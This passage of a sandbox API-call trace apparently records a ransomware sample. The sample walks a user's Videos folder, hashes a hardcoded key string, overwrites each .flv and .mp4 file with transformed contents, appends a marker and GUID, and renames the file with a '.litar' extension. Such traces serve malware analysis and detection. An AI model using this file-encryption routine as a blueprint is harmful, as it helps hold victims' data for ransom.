ftCreationTime.dwLowDateTime=0x1018c580, ftCreationTime.dwHighDateTime=0x1d4d36a, ftLastAccessTime.dwLowDateTime=0xb2c66380, ftLastAccessTime.dwHighDateTime=0x1d4cd54, ftLastWriteTime.dwLowDateTime=0xb2c66380, ftLastWriteTime.dwHighDateTime=0x1d4cd54, nFileSizeHigh=0x0, nFileSizeLow=0x9023, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="U3-na4Ecc7B.flv", cAlternateFileName="U3-NA4~1.FLV")) returned 1 [0127.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x106) returned 0x3068fd8 [0127.930] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.930] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\U3-na4Ecc7B.flv") returned=".flv" [0127.930] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\U3-na4Ecc7B.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\vay0f6tek5y2drs\\u3-na4ecc7b.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.931] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=36899) returned 1 [0127.931] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.933] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8ffd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.933] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.934] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.934] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.934] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.934] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x9023, lpOverlapped=0x0) returned 1 [0127.935] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.935] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.935] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.935] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.935] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0127.936] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.936] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.936] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.936] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.936] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.936] GetLastError () returned 0x0 [0127.936] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.936] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0127.936] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.936] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x9020) returned 0x30fa0b0 [0127.936] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.936] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.936] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x901e, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x901e, lpOverlapped=0x0) returned 1 [0127.936] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.937] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x9023, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.937] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.937] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.937] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.937] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.937] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.937] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.937] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.937] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.937] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.937] CloseHandle (hObject=0x624) returned 1 [0127.938] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd0) returned 0x30072c8 [0127.938] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8d0) returned 0x30fa0b0 [0127.938] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30072c8 | out: hHeap=0x5c0000) returned 1 [0127.938] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\U3-na4Ecc7B.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\vay0f6tek5y2drs\\u3-na4ecc7b.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\U3-na4Ecc7B.flv.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\vay0f6tek5y2drs\\u3-na4ecc7b.flv.litar")) returned 1 [0127.938] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.938] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.939] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.939] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaae1a240, ftCreationTime.dwHighDateTime=0x1d4d21f, ftLastAccessTime.dwLowDateTime=0x1346b5c0, ftLastAccessTime.dwHighDateTime=0x1d4cacb, ftLastWriteTime.dwLowDateTime=0x1346b5c0, ftLastWriteTime.dwHighDateTime=0x1d4cacb, nFileSizeHigh=0x0, nFileSizeLow=0xde16, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="w8QtRE0Av57MWN-aHv.flv", cAlternateFileName="W8QTRE~1.FLV")) returned 1 [0127.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.940] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x106) returned 0x3068fd8 [0127.940] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.940] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\w8QtRE0Av57MWN-aHv.flv") returned=".flv" [0127.940] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\w8QtRE0Av57MWN-aHv.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\vay0f6tek5y2drs\\w8qtre0av57mwn-ahv.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.940] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=56854) returned 1 [0127.940] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.942] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xddf0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.942] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.943] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.943] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.943] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.943] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xde16, lpOverlapped=0x0) returned 1 [0127.944] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.944] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.944] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.944] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0127.945] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.945] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.945] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.945] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.945] GetLastError () returned 0x0 [0127.945] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.945] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0127.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xde20) returned 0x30fa0b0 [0127.945] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.945] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xde11, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xde11, lpOverlapped=0x0) returned 1 [0127.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.946] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xde16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.946] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.946] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.946] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.946] CloseHandle (hObject=0x624) returned 1 [0127.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd0) returned 0x30072c8 [0127.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e0) returned 0x30fa0b0 [0127.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30072c8 | out: hHeap=0x5c0000) returned 1 [0127.947] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\w8QtRE0Av57MWN-aHv.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\vay0f6tek5y2drs\\w8qtre0av57mwn-ahv.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\w8QtRE0Av57MWN-aHv.flv.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\vay0f6tek5y2drs\\w8qtre0av57mwn-ahv.flv.litar")) returned 1 [0127.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.948] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.949] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb77630, ftCreationTime.dwHighDateTime=0x1d4d193, ftLastAccessTime.dwLowDateTime=0x8a759ca0, ftLastAccessTime.dwHighDateTime=0x1d4d166, ftLastWriteTime.dwLowDateTime=0x8a759ca0, ftLastWriteTime.dwHighDateTime=0x1d4d166, nFileSizeHigh=0x0, nFileSizeLow=0x114c9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y3s8jy4WEuwL8.mp4", cAlternateFileName="Y3S8JY~1.MP4")) returned 1 [0127.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x106) returned 0x3068fd8 [0127.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.949] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\y3s8jy4WEuwL8.mp4") returned=".mp4" [0127.949] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\y3s8jy4WEuwL8.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\vay0f6tek5y2drs\\y3s8jy4weuwl8.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.949] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=70857) returned 1 [0127.949] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.951] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x114a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.951] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.952] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.952] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x114c9, lpOverlapped=0x0) returned 1 [0127.953] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.953] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.953] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.953] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0127.954] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.954] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.954] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.954] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.954] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.954] GetLastError () returned 0x0 [0127.954] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.954] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0127.954] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.954] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x114d0) returned 0x30fa0b0 [0127.955] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.955] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x114c4, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x114c4, lpOverlapped=0x0) returned 1 [0127.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.955] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x114c9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.955] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.956] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.956] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.956] CloseHandle (hObject=0x624) returned 1 [0127.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd0) returned 0x30072c8 [0127.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e0) returned 0x30fa0b0 [0127.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30072c8 | out: hHeap=0x5c0000) returned 1 [0127.957] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\y3s8jy4WEuwL8.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\vay0f6tek5y2drs\\y3s8jy4weuwl8.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\y3s8jy4WEuwL8.mp4.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\vay0f6tek5y2drs\\y3s8jy4weuwl8.mp4.litar")) returned 1 [0127.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.957] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.958] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb77630, ftCreationTime.dwHighDateTime=0x1d4d193, ftLastAccessTime.dwLowDateTime=0x8a759ca0, ftLastAccessTime.dwHighDateTime=0x1d4d166, ftLastWriteTime.dwLowDateTime=0x8a759ca0, ftLastWriteTime.dwHighDateTime=0x1d4d166, nFileSizeHigh=0x0, nFileSizeLow=0x114c9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y3s8jy4WEuwL8.mp4", cAlternateFileName="Y3S8JY~1.MP4")) returned 0 [0127.958] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e388 | out: hHeap=0x5c0000) returned 1 [0127.959] 